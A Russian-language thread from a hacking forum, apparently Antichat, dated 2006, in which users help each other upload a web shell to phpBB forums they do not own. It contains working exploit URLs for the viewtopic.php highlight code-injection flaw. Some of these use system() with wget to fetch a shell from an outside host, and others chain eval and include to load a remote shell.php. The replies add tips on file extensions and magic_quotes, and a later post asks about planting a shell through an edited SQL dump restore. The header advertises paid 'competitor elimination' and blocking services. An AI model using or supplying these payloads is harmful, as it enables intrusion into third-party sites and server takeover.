Проблемы с заливкой шелла на phpbb

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Проблемы с заливкой шелла на phpbb

Опции темы

Поиск в этой теме

Опции просмотра

Проблемы с заливкой шелла на phpbb

11.10.2006, 22:18

AlexCRC

Познающий

Регистрация: 11.10.2006

Сообщений: 35

С нами: 10305875

Репутация: 9

Проблемы с заливкой шелла на phpbb

Приет.
У меня проблемы с заливкой шеллла на форум phpbb
Хотинг находится на hut.ru. Там вроде как помню запрещено ссылатся на удаленные файлы.
пишу в строку такой код "http://www.ля-ля-ля.ru/viewtopic.php?xxx=wget%20http://ля-ля-ля.narod.ru/remview.php &p=12&highlight=%2527.system($_GET[xxx]).include%2527"

Вылазеет ошибки как и надо:

Код:

Warning: Unknown()\b#i): failed to open stream: No such file or directory in /home/Z/ewfefe.ru/WWW/viewtopic.php(1104) : regexp code on line 1

Warning: (null)(): Failed opening ')\b#i' for inclusion (include_path='.:') in /home/z/ewfewfe.ru/WWW/viewtopic.php(1104) : regexp code on line 1

Warning: No ending delimiter '#' found in /home/z/ewfewfew.ru/WWW/viewtopic.php(1104) : regexp code on line 2

Но файл не заливается на сервак.
Что делать? можно ли через viewtopic получить хотябы хеш админа?
Заранее ОЧЕНЬ! благодарен.

𝕏 Twitter Reddit Telegram Копировать ссылку

Последний раз редактировалось AlexCRC; 11.10.2006 в 22:20..

11.10.2006, 22:27

ZikZak

Постоянный

Регистрация: 27.07.2006

Сообщений: 405

С нами: 10416026

Репутация: 268

Цитата:

http://ля-ля-ля.narod.ru/remview.php

Народ не поддерживает php

11.10.2006, 22:31

AlexCRC

Познающий

Регистрация: 11.10.2006

Сообщений: 35

С нами: 10305875

Репутация: 9

Цитата:

Народ не поддерживает php

Ну так из-за этого и выбрал народ. Если поставлю с поддержкой php - то он отдаст выполненый скрипт

11.10.2006, 22:31

Nova

OpenVPN.CC

Регистрация: 15.07.2005

Сообщений: 1,599

С нами: 10958786

Репутация: 1034

Меняй разрешение на шеле не php а txt тоесть remview.txt

11.10.2006, 22:32

1ten0.0net1

Time out

Регистрация: 28.11.2005

Сообщений: 547

С нами: 10762826

Репутация: 1348

Да, не поддерживает, само собой, кроме того увидел странную конструкцию -
highlight=%2527.system($_GET[xxx]).include%2527"

viewtopic.php?t=2206&highlight=%2527.eval($_GET[c1]).%2527&c1=include($_GET[c2])&c2=http://your.site.com/shell.php

Вот это верный вариант, на будущее, переменные с1 и с2 лучше кавычками не обрамлять, ибо на серевер может стоять опция magic_quotes=on, которая будет добавлять к каждой твоей кавчыка слеш, что портит код и препятствует его исполнению.

И как указано выше, пробуй, конечно, расширение шелла менять на txt - предварительно создав файл shell.txt

__________________
Нельзя считать себя достаточно взрослым, если у тебя школьные фотографии - цифровые.

11.10.2006, 22:34

KPOT_f!nd

Познавший АНТИЧАТ

Регистрация: 25.08.2006

Сообщений: 1,524

С нами: 10374086

Репутация: 1745

давай на jino-net.ru

11.10.2006, 22:42

AlexCRC

Познающий

Регистрация: 11.10.2006

Сообщений: 35

С нами: 10305875

Репутация: 9

Непомогло

Ни переименование файла, ни изменение кода

Код:

Parse error: parse error, unexpected $ in /home/z/ыshthj.ru/WWW/viewtopic.php(1104) : regexp code(1) : eval()'d code on line 1

Ссылки все правильные

Последний раз редактировалось AlexCRC; 11.10.2006 в 22:45..

11.10.2006, 23:30

AlexCRC

Познающий

Регистрация: 11.10.2006

Сообщений: 35

С нами: 10305875

Репутация: 9

Люди помогите а?
Вот мой шелл: http://scriptmyphp.narod.ru/remview.php и он же http://scriptmyphp.narod.ru/remview.txt

Запрос такой:

Код:

http://Name.ru/viewtopic.php?t=12&highlight=%2527.eval($_GET[c1]).%2527&c1=include($_GET[c2])&c2=http://scriptmyphp.narod.ru/remview.txt

Запрос правильный?
Выводится

Код:

Parse error: parse error, unexpected $ in /home/z/ыshthj.ru/WWW/viewtopic.php(1104) : regexp code(1) : eval()'d code on line 1

21.10.2006, 17:37

naqnaq

Познающий

Регистрация: 21.10.2006

Сообщений: 63

С нами: 10292433

Репутация: 22

Не стал создавать новую тему.
Вопрос все тот же - заливка шела через админ панель phpBB.
На форуме предлагается заливать посредством SQL =====> Дам базы формума - Внесение в дамп код шела - Рестор подправленной базы.

Послкольку сам я никогда с этим дела не имел, вопрос в следующем:
Необходимо ресторить дамп базы всего форума или же будет достаточно дапма содержащего толко sql запрос на запись шела?
Вопрос назрел потому, что дамп весит больше 100Мг в неупакованном виде (gzip запрещен). Не понятно каким образом происходит рестор - это полное стирание существующего с последующей добавлением, или же - добавление и перезапись уже существующего. Если первое, то после ресторе дампа содержащего лишь код шела будет пустой форум, что не хотелось бы. Вопрос скорее касается не phpBB, а SQL в целом.

Последний раз редактировалось naqnaq; 21.10.2006 в 17:59..

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Вопрос по заливке шелла, используя уязвимость highlight в форуме phpBB 2.0.6	vega2k	Уязвимости CMS / форумов	12	11.01.2009 15:57
exploit phpBB 2.0.19 ( by SpiderZ )	liauliau	Уязвимости CMS / форумов	21	13.01.2007 23:01
Взлом. Способы заливки шелла в phpBB.	MacTep	Уязвимости CMS / форумов	16	13.06.2006 21:03
Проблемы с Аничатовскими штучками.	temon	Болталка	4	27.09.2005 12:52
Вопрос про заливку шелла в Powered by phpBB 2.0.8 © 2001 phpBB Group	onyx3	Уязвимости CMS / форумов	38	15.02.2005 16:25

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход